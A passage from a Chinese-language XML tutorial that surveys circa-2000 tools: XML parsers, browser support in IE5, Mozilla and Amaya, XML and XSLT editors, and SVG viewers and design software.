<LI><STRONG>LT XML</STRONG> <BR>准确地说，LT XML是一个XML的工具集，用C语言开发而成，它包含XML文档的搜索、信息抽取、记号化以及排序等等。LT XML还包含了一个强大易用的查询语言，允许用户方便快捷地查询XML文档中的元件，并可以对XML文档进行文本浏览或树形图浏览。<BR>有关该分析器的详细介绍请参考网页：<A href="http://www.ltg.ed.ac.uk/software/xml/">http://www.ltg.ed.ac.uk/software/xml/</A>。 
<LI><STRONG>Xparse</STRONG><BR>最后要提到的是Xparse，它的特别之处在于它是用JavaScript开发的，整个程序不超过5K。它的开发者Jeremie，还计划在DOM的ECMAScript核心API发布后，将DOM的实现加入Xparse中。ECMAScript 是JavaScript升格成为欧洲标准协会（前身为European Computer Manufacturers Association，简称为ECMA。该名称一直沿用至今）的正式标准后的新名字。<BR>该软件网址是<A href="http://www.jeremie.com/Dev/XML/">http://www.jeremie.com/Dev/XML/</A>，此外还可以在它们的网站上（<A href="http://www.jeremie.com/Dev/XML/test/">http://www.jeremie.com/Dev/XML/test/</A>）直接进行实验。把我们的第一个例子输入进去，看到的效果如图： </LI></UL>
<P align=center><IMG height=386 alt="TU000000-0601-0100-02.jpg (25532 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX15.0953/www.17t8.com/xmlbook/image/TU000000-0601-0300-01.jpg" width=500></P></DIV>
<P></P>
<DIV class=pt10><B>6.2.1 IE5对XML的支持</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>相信大家对IE都十分熟悉，它是Micorsoft公司开发的Web浏览器，是当今两大主流浏览器之一。IE最先支持XML，支持命名空间，并在IE5开创了XML+CSS、XML+XSL的Web浏览方式，使得浏览XML网页终于梦想成真。</P>
<P>但IE5对CSS的支持并不完全，至今为止，IE5尚不能完全支持CSS1，即便是支持的部分也存在一些错误。IE5对于CSS2也只是提供了部分支持，而且这种支持同样存在着上面的问题。另外如果使用XML+CSS，IE5不能打印，当你选择打印时，IE5不会有任何反应。可以说IE对CSS的支持已经落后于后面要介绍的Mozilla浏览器，第四章在讲CSS时，有一个学生花名册的例子，使用样式二的时候在两种浏览器下显示的结果是截然不同的。下面第一个图显示的是Mozilla的浏览效果，而第二个图则是IE5的显示效果：</P>
<P align=center><IMG height=215 alt="TU000000-0602-0100-01.jpg (12196 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX15.7609/www.17t8.com/xmlbook/image/TU000000-0602-0100-01.jpg" width=300></P><FONT face=宋体 size=3>
<P align=center></FONT><IMG height=140 alt="TU000000-0602-0100-02.jpg (8874 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX15.7609/www.17t8.com/xmlbook/image/TU000000-0602-0100-02.jpg" width=315></P>
<P>XSL最先是由Microsoft提出的，作为一个倡导者，IE5对XSLT有所支持，它能实时地将一个XML文档根据XSL样式单转换为HTML文档来显示。但IE5对XSLT的支持基于XSL1998年12月16日工作草案（http://www.w3.org/TR/1998/WD-xsl-19981216.html），而且自行对草案进行了部分扩充，因此不能算是对XSLT标准的完全支持。类似地，如果使用XML+XSL，IE5也不能打印，它会对你的打印命令漠然视之。</P>
<P>Microsoft于2000年6月发布了IE5.5中文版，它对IE5.0作了一些改进，增强了对DHTML和CSS的支持，但是对CSS的支持仍然有待进一步改进。IE5.5增加了打印预览功能，它能打印浏览器中的显示内容，包括XML＋CSS及XML+XSL的打印。但是，十分奇怪的是，IE5.5对XSLT的支持仍然基于早期的草案。在XSLT标准于1999年11月16日推出半年多后，还只支持早期的草案，比较令人费解。</P>
<P>无论是IE5或IE5.5，都可以直接加载不包含样式信息的XML文档。这时，浏览器将显示外观良好的树形结构，并带有小小的+/- 图标，点击图标，可以将子树隐藏或展开。实际上，这就是IE的缺省样式单。通过缺省样式单，可以快速查看别人的XML文档，并能获得对XML文件的内容和结构的感性认识。前面的学生花名册的例子，如果不加载任何样式单将显示如下：</P><FONT face=宋体 size=3>
<P align=center></FONT><IMG height=294 alt="TU000000-0602-0100-03.jpg (16084 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX15.7609/www.17t8.com/xmlbook/image/TU000000-0602-0100-03.jpg" width=400></P>
<P>另外，微软还提供了一个很好用的插件，就叫作IE Tools。要知道，IE本身是不支持XML文档的有效性检查的，而安装了这个插件后，在IE的右键菜单中就增加了Validate XML和View XSL Output两个功能菜单。其中前一个菜单项可以根据指定的DTD对XML文件的有效性进行检查，而后一个则结合指定的XSL样式单输出XML文档转化的结果。这两个功能无疑给XML的开发者提供了非常好的工具。</P>
<P>无论如何，Microsoft的的确确是一个XML的积极推动者，提出了很多领域内的基于XML的标准提案，并且有些提案已由一些标准组织提升为标准。另一方面，它也在身体力行地开发支持各种标准的工具，在很大的程度上使得XML的技术得到了应用和推广。就IE5而言，它还支持一种叫做VML的图形语言，用以实现网页的图形化功能。虽然VML自身未能成为W3C的标准，但它的精髓已经融入W3C即将推出的Web图形标准SVG之中。</P>
<P>有关IE5.0的详细介绍和软件下载可通过网页<A href="http://www.microsoft.com/windows/IE">http://www.microsoft.com/windows/IE</A>获得。另外，有关IE5.5的详细介绍和软件下载可通过网页<A href="http://www.microsoft.com/windows/ie/download/ie55.htm">http://www.microsoft.com/windows/ie/download/ie55.htm</A> 获得。<BR></P></DIV>
<P></P>
<DIV class=pt10><B>6.2.2 Mozilla对XML的支持</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P align=left>Mozilla的前身是两大主流浏览器之一——Netscape，它是由支持Netscape的软件开发人员合作开发的自由软件，是在Netscape Communicator 5.0的一个较早版本的源代码的基础上开发而成的，因此，人们总是把它看做是Netscape5.0的未来版本。下图是Mozilla的显示界面：</P>
<P align=center><IMG height=333 alt="TU000000-0602-0200-01.jpg (31923 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX15.3875/www.17t8.com/xmlbook/image/TU000000-0602-0200-01.jpg" width=476></P>
<P>也许你已经注意到了，Mozilla的LOGO标志是一个大"M"而不是Netscape的"N"，这是由它的特殊性造成的，因为Mozilla毕竟不是Netscape，不能使用Netscape的品牌来发布。</P>
<P>与Communicator4相比，Mozilla增加了如下功能： 
<UL>
<LI>支持XML 
<LI>可用XUL定义的界面 
<LI>开放的源代码 
<LI>支持HTTP压缩 
<LI>跨平台 
<LI>对ActiveX的支持 
<LI>支持MathML 
<LI>更快的显示机制 
<LI>更好的HTML支持 (支持CSS 1和部分CSS 2、 DOM 1和部分DOM 2) 
<LI>支持JVM插件（Plug-in） </LI></UL>
<P>从上面的介绍中可以看到，Mozilla的新增功能中有很大的比重在XML方面，表现在其对XML的支持、对MathML的支持。Mozilla甚至于自定义了一种语言XUL（XML-based User Interface Language），使得用户自己可以定义显示界面。而且在对CSS的支持方面，Mozilla也以较完善的支持超过了IE5。</P>
<P>Mozilla对XML的支持完全面向XML标准，支持CSS，部分支持命名空间，部分支持XLink，并因为其对DOM有很好的底层支持，而使得XML变得真正可用。但另一方面，Mozilla不支持XSL，虽然这可能与XSL标准的成熟度有关，但在一定程度上减弱了Mozilla对XML的支持力度。</P>
<P>Mozilla的新版本的推出，无疑会给Microsoft的IE5浏览器带来很大的压力，也将加剧两大浏览器的竞争。当然，这种竞争的获益者将是广大的浏览器消费者。</P>
<P>在Mozilla之外，AOL还推出了Netscape6.0，并于2000年3月底推出其预览发行（preview release）版本。Netscape浏览器基于Mozilla引擎，支持HTML 4.0、XML、CSS、DOM、命名空间，简单XML链接。但对简单XML链接的支持是基于早期的草案。</P>
<P>Mozilla的详细介绍和源代码可从<A href="http://www.mozilla.org/">http://www.mozilla.org/</A>网址获得。关于Netscape的详细资料，请参看<A href="http://www.netscape.com/">http://www.netscape.com/</A>。<BR></P></DIV>
<P></P>
<DIV class=pt10><B>6.2.3 W3C的试验基地--Amaya</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>值得一提的是W3C的试验系统Amaya，可能很多读者对它都不熟悉。Amaya是W3C自行开发的网页工具，既可以作为XML浏览器，也可以作为XML编辑器，且具有所见即所得的界面风格。它的界面如下图所示：</P>
<P align=center><IMG height=258 alt="TU000000-0602-0300-01.jpg (16579 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX15.9453/www.17t8.com/xmlbook/image/TU000000-0602-0300-01.jpg" width=368></P>
<P>开发Amaya的目的是要建造一个W3C提出的草案或标准的“试验基地”，因此，它对XML及各项草案和标准的支持最新，也较为全面。目前Amaya已经发展到4.2.1版本，支持HTML、XHTML、MathML、部分SVG和部分CSS，可能是支持网页标准最多的一个浏览器。<BR><BR>下面是Amaya支持MathML的一个小例子：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;math mlns="http://www.w3.org/TR/REC-MathML"&gt;<BR>&lt;mrow&gt;<BR>&nbsp; &lt;mrow&gt;<BR>&nbsp;&nbsp; &lt;msup&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;mi&gt;x&lt;/mi&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;mn&gt;2&lt;/mn&gt;<BR>&nbsp;&nbsp; &lt;/msup&gt;<BR>&nbsp;&nbsp; &lt;mo&gt;+&lt;/mo&gt;<BR>&nbsp;&nbsp; &lt;mrow&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;mn&gt;4&lt;/mn&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;mo&gt;&amp;invisibletimes;&lt;/mo&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;mi&gt;x&lt;/mi&gt;<BR>&nbsp;&nbsp; &lt;/mrow&gt;<BR>&nbsp;&nbsp; &lt;mo&gt;+&lt;/mo&gt;<BR>&nbsp;&nbsp; &lt;mn&gt;4&lt;/mn&gt;<BR>&nbsp; &lt;/mrow&gt;<BR>&nbsp; &lt;mo&gt;=&lt;/mo&gt;<BR>&nbsp; &lt;mn&gt;0&lt;/mn&gt;<BR>&lt;/mrow&gt;<BR>&lt;/math&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>它的显示效果是：</P>
<P align=center><IMG height=175 alt="TU000000-0602-0300-02.jpg (11458 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX15.9453/www.17t8.com/xmlbook/image/TU000000-0602-0300-02.jpg" width=400></P>
<P><BR>Amaya支持Windows、Unix、Linux、AIX平台，有关该软件的详细介绍和软件下载请参考W3C网页：<A href="http://www.w3.org/Amaya">http://www.w3.org/Amaya</A>。<BR></P></DIV>
<P></P>
<DIV class=pt10><B>6.3.1 XML编辑工具</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>到目前为止，XML编辑软件用起来还不是真正得心应手，不过也的确有一些工具给XML文档的编辑提供了一些便利。下面介绍几个比较常用的： 
<OL>
<LI><STRONG>XML Writer</STRONG> </LI></OL>
<P>XMLwriter的出现比较早，它是由Wattle Software公司开发的XML编辑软件，它的软件界面如下图所示：</P>
<P align=center><IMG height=375 alt="TU000000-0603-0100-01.jpg (40155 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX15.4765/www.17t8.com/xmlbook/image/TU000000-0603-0100-01.jpg" width=500></P>
<P>该软件的主界面同Visual Studio非常相似，可以对XML文档进行编辑，将不同的元素用不同的颜色区分开来，同时还可以利用外挂式浏览器方式进行预览。但它不支持所见即所得，其页面的浏览只能用专用的浏览器。因而，其充其量不过是一个功能强大的编辑器。</P>
<P>XMLWriter比较有特色的功能有"Load TagBar"、"Validate XML File"、"Convert Using XSL"。第一个功能用于从DTD和Schema文件中提取标记，并通过树形结构显示在TagBar中；第二个功能用于验证XML文档的有效性，最后一个功能根据XSL样式单将XML文档转换成相应的HTML文档输出。</P>
<P>XMLWriter的其他功能还有给XML文档定义CSS样式、支持XQL等。另外，它还提供了集成开发环境IDE（Integrated Development Environment），面向项目管理。</P>
<P>XMLwriter用C++编写而成，较现有的一些基于JAVA的XML编辑器而言运行速度快、效率高。该软件可运行在Windows 95/98/2000和Windows NT4系统环境下，目前的最新版本是1.21版。</P>
<P>XMLwriter是一个共享软件，有关该软件的介绍及软件下载可参考网址：<A href="http://xmlwriter.net/">http://xmlwriter.net/</A>。 
<OL>
<LI type=disc value=2><STRONG>XML Spy</STRONG> </LI></OL>
<P>XML Spy 是Icon Information-Systems公司的产品，它的显示界面如下：</P>
<P align=center><IMG height=362 alt="TU000000-0603-0100-02.jpg (21505 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX15.4765/www.17t8.com/xmlbook/image/TU000000-0603-0100-02.jpg" width=400></P>
<P>XML Spy在功能上较XMLwriter有所提高。它支持Unicode、多字符集，支持Well-formed和Validated两种类型的XML文档，并可编辑XML文档、DTD、schema，以及XSLT。它的最大特点是提供了四种视窗：XML结构视窗、增强表格视窗、源代码视窗和支持CSS和XSL的预览视窗。结构视窗以树形结构编辑XML文档（包括XML、XSL文档，但对DTD文档的显示相对较为简单）；增强表格视窗以表格的方式显示出文档中的某一项元素的数据库项；源代码视窗可以查看和修改文档源码，并且以不同的颜色标注不同的元素；预览视窗采用内嵌IE5的方式在软件内对XML文档进行浏览，支持CSS和XSL。</P>
<P>XML Spy可支持如下几类schema的编辑与有效性检查： 
<UL>
<LI>Document Type Definitions (DTD) 
<LI>Document Content Descriptions (DCD) 
<LI>XML-Data Reduced (XDR) 
<LI>BizTalk 
<LI>XML Schema Definition (XSD) 2000年4月7日草案 </LI></UL>
<P>另外，XML Spy也提供集成开发环境IDE，但仍不支持所见即所得。</P>
<P>XML Spy目前的最高版本是3.0版，可运行在Windows95/98/2000和WindowsNT环境，有关该软件的详细介绍请参照网页：<A href="http://new.xmlspy.com/">http://new.xmlspy.com/</A>。 
<OL>
<LI type=disc value=3><STRONG>VisualXML</STRONG> </LI></OL>
<P>VisualXML 由Pierre Morel开发，软件界面如图:</P>
<P align=center><IMG height=301 alt="TU000000-0603-0100-03.jpg (18241 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX15.4765/www.17t8.com/xmlbook/image/TU000000-0603-0100-03.jpg" width=400></P>
<P>VisualXML的开发环境比前两者又略胜一筹，能够以树形结构显示XML、DTD文档。有的版本支持多种数据库，如Oracle、Access、SQL Server、Informix、Sybase、DB2，能够实现同数据库的集成，并可通过Wizard方式进行数据库的浏览、SQL语句和存储过程的创建和执行，以图形界面实现XML元素同数据库对象的绑定，同时创建XML文档和DTD文档。但是，用户在使用VisualXML创建新文件时仍会感到不便，一方面会觉得速度比较慢，另一方面会觉得元素、属性的添加和移位等操作仍不十分灵活。</P>
<P>该软件还有一个缺点是对硬件配置要求较高，其要求的最低配置是： 
<UL>
<LI>处理器：奔腾200MHz 
<LI>内存：96MB 
<LI>硬盘空间：110MB 
<LI>显示器分辨率：1024x768 </LI></UL>
<P>不仅如此，最新版本的软件还需要Java (JDK 1.2)的运行环境，版本高了低了都不行。</P>
<P>有关该软件的详细介绍及软件下载请参考网页：<A href="http://www.pierlou.com/visxml">http://www.pierlou.com/visxml</A>。 
<OL>
<LI type=disc value=4><STRONG>EditML</STRONG> </LI></OL>
<P>EditML是EditML Technologies开发的产品，软件界面如图:</P>
<P align=center><IMG height=275 alt="TU000000-0603-0100-04.jpg (18805 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX15.4765/www.17t8.com/xmlbook/image/TU000000-0603-0100-04.jpg" width=400></P>
<P>EditML是Windows平台上的XML编辑器，可以用于创建有效的及格式良好的XML数据文档，DTD或Schema文档以及CSS或XSL样式单。它使用Microsoft的MSXML分析器，遵守W3C的XML1.0标准。</P>
<P>在EditML中不但可以查看XML及DTD文档的源文件，并进行预览，而且还可以对这些文件中的数据进行树型查看或列表查看。它技高一筹的地方还在于它能够从有固定分隔符的文本文件中引入数据，可以从数据库引入数据，并且可以自动生成DTD。</P>
<P>不过，可能是由于软件的版本较低，而且还处于测试阶段，因此软件的稳定性差一些，有不少错误，对中文的支持也不好，希望正式版推出后这些问题已经得到了解决。另外，它还要求安装IE4.01以上版本，这对Netscape的拥护者不是一个好消息。有关EditML的详细介绍及软件下载请参考网页：<A href="http://www.editml.com/">http://www.editml.com/</A>。<BR><BR><BR></P></DIV>
<P></P>
<DIV class=pt10><B>6.3.2 XSLT编辑工具</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>如果要形象地概括XML文档，包括DTD文档，相信大家会把它比作一棵树，所以理想的XML和DTD的编辑器总是少不了树型的查看方式。XSLT文件一方面仍然是一种XML文件，同样需要树型显示方式；另一方面由于它归根结底规定的是显示的样式，相信大家希望能够使用一种可拖拽的所见即所得的编辑工具。那么，目前开发出的XSL编辑工具到底是不是能够满足大家的愿望呢？我们来分析两个做得比较好的XSLT编辑软件。 
<OL>
<LI><STRONG>eXcelon Stylus</STRONG> </LI></OL>
<P>eXcelon Stylus是eXcelon公司开发的第一个可视化XSL编辑软件，目前推出的是2.0版本。它的软件界面如下图所示：</P>
<P align=center><IMG height=272 alt="TU000000-0603-0200-01.jpg (20186 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX15.0109/www.17t8.com/xmlbook/image/TU000000-0603-0200-01.jpg" width=370></P>
<P>从图上可以看出该软件有三个窗口：结构示意窗口、预显窗口和编辑窗口。另外，使用Stylus还可以进行调试，下面是它的调试窗口：</P>
<P align=center><IMG height=276 alt="TU000000-0603-0200-02.jpg (18677 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX15.0109/www.17t8.com/xmlbook/image/TU000000-0603-0200-02.jpg" width=368></P>
<P>该软件的基本功能如下： 
<UL>
<LI>交互编辑，所见即所得（WYSWYG）使用Stylus，用户完全在一个图形化的交互界面中进行操作。与其他交互软件一致的工具按钮设计，使用户很容易上手。 
<LI>支持拖拽功能，用户还可以自行设计模板，轻而易举地将XML数据放到合适的位置。 
<LI>Stylus还可以自动地生成所需要的XSL代码。 
<LI>既可以编辑XSL文档，也可以编辑XML文档。 
<LI>自动提示语法错误。 
<LI>自动建议功能；在用户输入的时候，Stylus会建议用户使用哪些XSL或HTML标记和属性名，保证编辑的结果是Well-formed XML文档。 
<LI>有效的XSL和HTML标记名用不同颜色标注。 
<LI>自动显示XSL的树形结构。 
<LI>方便的调试功能。 
<LI>Internet连接功能；对应的XML文件可以存储在其他机器上，用URL进行连接。 
<LI>集成XML解释器和XSL处理器；Stylus包含了一个符合XSLT1.0的处理器，可以显示出样式单的输出效果，并支持JAVA扩展功能。 
<LI>支持全字符集。 </LI></UL>
<P>eXcelon Stylus是第一个面向XSL编辑，集创建、管理、保存于一体的集成环境，使用Stylus用户可以快速、简便地创建XSL样式单，并可以很方便地进行调试。使用Stylue可以进行XML商务开发。</P>
<P>eXcelon Stylus的系统要求如下： 
<UL>
<LI>操作系统： Windows NT / Windows 2000 
<LI>主机配置： 奔腾机，内存32 MB 
<LI>浏览器： Microsoft Internet Explorer 5 </LI></UL>
<P>有关eXcelon Stylus的详细介绍和软件下载请参照网页：<A href="http://www.exceloncorp.com/">http://www.exceloncorp.com/</A>。 
<OL>
<LI type=disc value=2><STRONG>IBM XSLEditor</STRONG> </LI></OL>
<P>IBM公司的alphaworks开发出很多的XML应用程序，XSLEditor是其中之一。软件界面如下：</P>
<P align=center><IMG height=317 alt="TU000000-0603-0200-03.jpg (34131 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX15.0109/www.17t8.com/xmlbook/image/TU000000-0603-0200-03.jpg" width=400></P>
<P>该软件是一个交互式XSL编辑软件，支持XSLT与XPath，用户界面友好。从图中可以看到有四个主要的窗口，XML编辑窗口、XSL编辑窗口、结果树显示窗口、XPath匹配窗口。其中前三个窗口都各自有两种视窗，一种可以显示源代码，可进行源代码编辑；另一种是树形结构显示。既可以编辑XML文档，也可以编辑XSL文档，界面清晰，一目了然。通过XPath窗口可以对输入的XPath条件进行节点匹配，匹配的节点可以用醒目的颜色指示。</P>
<P>该软件要在JAVA环境中运行，要求安装有JDK1.1版本。</P>
<P>有关该软件的详细信息与软件下载请参考网页：<A href="http://www.alphaworks.ibm.com/">http://www.alphaworks.ibm.com/</A>。<BR></P></DIV>
<P></P>
<DIV class=pt10><B>6.4.1.1 SVG浏览工具</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>在前一章我们曾经花了很大的篇幅介绍可缩放矢量图形语言SVG，并提到了一些SVG的浏览工具和编辑工具。这里我们就从浏览工具开始详细地讲一讲。 
<OL>
<LI><STRONG>Adobe SVGViewer</STRONG> </LI></OL>
<P>作为SVG的提出者之一，Adobe公司已经逐步将SVG融入它的所有产品之中，目前在SVG的浏览器和编辑器的研制开发上都已颇有建树。由它开发的SVGViewer虽然不是最早的SVG浏览器，但它是唯一的以IE和Netscape的插件形式支持SVG浏览的浏览器，而且由于Adobe在这一行业的领先优势，目前使用最为广泛。现在SVGViewer已经发展到Beta2版本，对于有关SVG的方方面面都给予了支持： 
<UL>
<LI>在图象方面，它可以显示输出GIF、JPEG和PING格式的栅格图象，并支持对图象的过滤操作。 
<LI>在图形方面，它不但支持基本图形的勾边和填充，而且支持路径、裁剪、渐融、过滤，并且在显示中可以反走样显示出较好的效果。 
<LI>在文字方面，它支持各种字体字号，并可以对文字进行轮廓填充。不过，由于目前它还不支持GB2312编码，中文文字不得不转换为UTF-8编码输出。 
<LI>支持丰富的动画效果。 
<LI>支持DOM，可以内嵌SCRIPT，达到生动活泼的交互效果。 
<LI>支持链接，可以链接到本服务器的其它文件或一个URL地址，也可以链接至EMAIL地址。但是目前尚不支持页内链接。 
<LI>支持背景声音的播放，可以播放MP3和WAV格式的声音文件。 </LI></UL>
<P>这个插件的使用很简单，一旦安装好SVGViewer，SVG文件的默认打开方式就是启用浏览器IE或Netscape，然后利用插件来显示SVG文件的效果。另外，SVG文件也可以作为“image/svg-xml”的MIME类型嵌入HTML文件中，在浏览器中观看效果。请见下面的浏览界面：</P>
<P align=center><IMG height=338 alt="TU000000-0604-0101-01.jpg (15104 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX16.7343/www.17t8.com/xmlbook/image/TU000000-0604-0101-01.jpg" width=400></P>
<P>可见，它和我们在IE中浏览HTML页面的方式几乎没什么两样。不过，插件提供了一些特殊的功能，可以将显示区域扩大或缩小，可以中断和继续动画的播放，可以在显示区域中搜索特定文本，也可以查看源文件。SVG文件同样可以打印，插件将相应的栅格显示效果送往打印机。　 
<OL>
<LI type=disc value=2><STRONG>IBM SVGViewer</STRONG> </LI></OL>
<P>这是一个由IBM公司alphaworks开发的可以浏览SVG的浏览器。这个软件出现的比较早，由于SVG至今尚未成为W3C的推荐标准，因此SVGViewer一直是alpha版本，随着SVG草案的升级而逐步地在完善。但在SVG草案讨论阶段，该软件充当了人们学习、了解SVG的一个实用的软件工具。下面是它的软件界面：</P>
<P align=center><IMG height=328 alt="TU000000-0604-0101-02.jpg (27276 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX16.7343/www.17t8.com/xmlbook/image/TU000000-0604-0101-02.jpg" width=400></P>
<P>该软件在运行时要安装JAVA2.0以上的运行环境和IBM的XML4J XML分析器。</P>
<P>有关IBM SVGViewer的详细介绍及软件下载请参照网页：<A href="http://www.alphaworks.ibm.com/tech/svgview">http://www.alphaworks.ibm.com/tech/svgview</A>。 
<OL>
<LI type=disc value=3><STRONG>CSIRO SVG Viewer</STRONG> </LI></OL>
<P>CSIRO SVG Viewer是由CSIRO开发的SVG浏览器，界面如图所示：</P>
<P align=center><IMG height=281 alt="TU000000-0604-0101-03.jpg (17087 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX16.7343/www.17t8.com/xmlbook/image/TU000000-0604-0101-03.jpg" width=357></P>
<P align=left>从界面图上可以看到一只可爱的小狮子，别小看它，它完全是用图形绘制组合而成的，生动细腻，由此不难看出该软件对图形的支持力度。该软件也是alpha版本，不断地在推出新版本。</P>
<P align=left>有关该软件的介绍与软件下载请参考网页：<A href="http://sis.cmis.csiro.au/svg/">http://sis.cmis.csiro.au/svg/</A>。</P></DIV>
<P></P>
<DIV class=pt10><B>6.4.1.2 SVG编辑工具</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>SVG发展至今已经成为候选推荐标准，升级为正式的推荐标准指日可待。虽然尚未成为标准，但许多软件开发商看好该项技术，已经开发出许多支持SVG的软件。比较突出的是原本在平面设计领域发展的软件商，因为本身图形图象处理的根底深厚，所以转移到SVG上来驾轻就熟。反观一些做主页设计或HTML编辑软件的厂商反而落后一步，因此，目前支持SVG制作的软件大都是平面设计软件。下面介绍几种对SVG有较好支持的设计制作软件： 
<OL>
<LI><STRONG>方正画苑3.0</STRONG> </LI></OL>
<P>方正画苑是集图象编辑、版面设计、图形创意、文字排版于一体的平面设计软件，可以全面地帮助用户完成复杂的设计和创意工作，主要面向彩印厂、广告公司、输出中心等专业用户。网络传媒事业的迅猛发展在给传统的平面设计软件带来冲击的同时，也给其带来了新的发展机遇。方正画苑把握住了SVG这一具有无限生命力的新技术，在最新版本3.0版本中支持SVG的输出和网页的设计，是在国内率先支持SVG输出的软件。</P>
<P>方正画苑3.1版本支持将现有的设计结果输出为SVG格式，可以输出丰富的图形、图象和文字的设计效果。同时，SVG还新增加了一些网页设计功能，包括可以为网页设置题目、设置是否允许缩放，可以为页面上的对象设置书签和超链接，同时可以在页面上增加声音、影像、动画和JAVA APPLET等多媒体对象。</P>
<P>下面是在方正画苑中设计的页面效果和利用Adobe SVGViewer插件在IE中的显示效果。有兴趣的读者可以点击<A href="http://162.105.170.55/learner/image/sample/example.svg">此处</A>观看实际效果。</P>
<P align=center><IMG height=334 alt="TU000000-0604-0102-01.jpg (20694 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX16.4359/www.17t8.com/xmlbook/image/TU000000-0604-0102-01.jpg" width=400></P>
<P align=center><IMG height=361 alt="TU000000-0604-0102-02.jpg (18953 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX16.4359/www.17t8.com/xmlbook/image/TU000000-0604-0102-02.jpg" width=400></P>
<P>　 
<OL>
<LI type=disc value=2><STRONG>CorelDraw9.0</STRONG> </LI></OL>
<P>Corel公司的CorelDraw图形软件在平面设计领域久负盛名，早在CorelDraw9.0之前的8.0版本就开始支持Ｗeb页面设计，增加了许多只有Web页面才需要的对象，例如JAVA APPLET、表单、超链接等，可以输出为HTML格式的文件。对于页面上的图形对象，该软件设计了多方面的处理办法，使之能够展现在Web页面之上，其中包括合成为点阵图象、生成JavaApplet等方式，当然这都是在缺少SVG规范的情况下不得已而为之。SVG的出现，自然给此类软件带来了更大的发展空间，因此，CorelDraw9.0很早就配备了SVG的过滤器，为生成含有SVG的网页提供了很好的工具和手段。 
<OL>
<LI type=disc value=3><STRONG>Adobe Illustrator9.0</STRONG> </LI></OL>
<P>Adobe Illustrator也是一个广泛被用于平面设计的图形软件，它的最新版9.0的图形功能更是几近完美，用来支持SVG也是易如反掌。现在，Adobe公司已经在Illustrator9.0中加入了SVG功能，可以将设计好的页面输出为SVG文件，同时还可以为页面上的对象定义响应不同事件的SCRIPT脚本。可见，在SVG方面Adobe公司依然占有先机。</P>
<P>事实上，SVG不仅仅局限于平面图形功能，动画与交互功能也是它的闪光点，因此只有对图形的支持是远远不够的。说到动画与交互方面，少不了要提及Micromedia的Flash和Adobe的LiveMotion，两大软件在Flash上的争斗即将转移到SVG上面，因为SVG比Flash更具发展前景。Adobe公司已经声称将在LiveMotion的下一版本支持SVG，从Adobe公司对SVG的积极态度来看，此话必定会成为事实，而Flash也做好了接纳SVG的准备。可以预见，未来的网页设计软件将是今天的网页设计软件与平面设计软件、矢量动画软件的结合产物，网页的制作方法与制作流程也会有相应的较大改变。</P>
<P>　</P></DIV>
<P></P>
<DIV class=pt10><B>6.4.1.3 VML的编辑工具——Microsoft Vizact</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>最后要提到的是微软公司的Microsoft Vizact。我们知道，SVG来源于四个矢量图形语言，其中一个就是微软制定的VML（Vector Markup Language）。Microsoft Vizact是Microsoft公司为支持VML而开发的产品，目前其浏览器IE5.0已经支持VML格式的浏览。Vizact的界面如图所示：</P>
<P align=center><IMG height=226 alt="TU000000-0604-0103-01.jpg (16814 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX16.9562/www.17t8.com/xmlbook/image/TU000000-0604-0103-01.jpg" width=300></P>
